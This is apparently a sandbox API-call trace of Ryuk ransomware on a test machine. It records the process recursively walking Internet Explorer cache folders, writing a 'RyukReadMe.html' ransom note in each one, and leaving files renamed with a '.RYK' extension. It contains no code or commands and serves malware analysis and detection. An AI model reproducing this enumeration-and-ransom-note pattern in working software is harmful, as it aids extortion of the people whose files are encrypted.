	[0266.862] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.862] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.862] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1
	[0266.862] SetLastError (dwErrCode=0x0) 
	[0266.862] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0266.862] GetLastError () returned 0xb7
	[0266.862] CloseHandle (hObject=0x98c) returned 1
	[0266.863] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x206, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microso杄眙")) returned 0xffffffffffffffff
	[0266.863] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.863] SetLastError (dwErrCode=0x0) 
	[0266.863] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.863] GetLastError () returned 0x3
	[0266.863] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.863] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.863] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0266.863] SetLastError (dwErrCode=0x0) 
	[0266.863] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0266.864] GetLastError () returned 0xb7
	[0266.864] CloseHandle (hObject=0x98c) returned 1
	[0266.864] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0266.864] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.864] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1
	[0266.864] SetLastError (dwErrCode=0x0) 
	[0266.864] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.865] GetLastError () returned 0x3
	[0266.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.865] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.865] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.865] SetLastError (dwErrCode=0x0) 
	[0266.865] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.865] GetLastError () returned 0x3
	[0266.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.865] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="ABV8L7MY", cAlternateFileName="")) returned 1
	[0266.865] SetLastError (dwErrCode=0x0) 
	[0266.865] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.865] GetLastError () returned 0x3
	[0266.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.866] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.866] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.866] SetLastError (dwErrCode=0x0) 
	[0266.866] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.866] GetLastError () returned 0x3
	[0266.866] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.866] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.866] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="IKQEEPZR", cAlternateFileName="")) returned 1
	[0266.866] SetLastError (dwErrCode=0x0) 
	[0266.866] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.866] GetLastError () returned 0x3
	[0266.866] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.867] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.867] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.867] SetLastError (dwErrCode=0x0) 
	[0266.867] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.867] GetLastError () returned 0x3
	[0266.867] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.867] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x54000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0266.867] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 1
	[0266.867] SetLastError (dwErrCode=0x0) 
	[0266.867] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.867] GetLastError () returned 0x3
	[0266.868] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.868] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.868] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.868] SetLastError (dwErrCode=0x0) 
	[0266.868] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.868] GetLastError () returned 0x3
	[0266.868] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.868] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 0
	[0266.868] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0266.869] SetLastError (dwErrCode=0x0) 
	[0266.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.869] GetLastError () returned 0x3
	[0266.869] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.869] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.869] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6ad58690, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT.RYK", cAlternateFileName="MSIMGS~1.RYK")) returned 1
	[0266.869] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69fce970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x69fce970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ab1d1f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
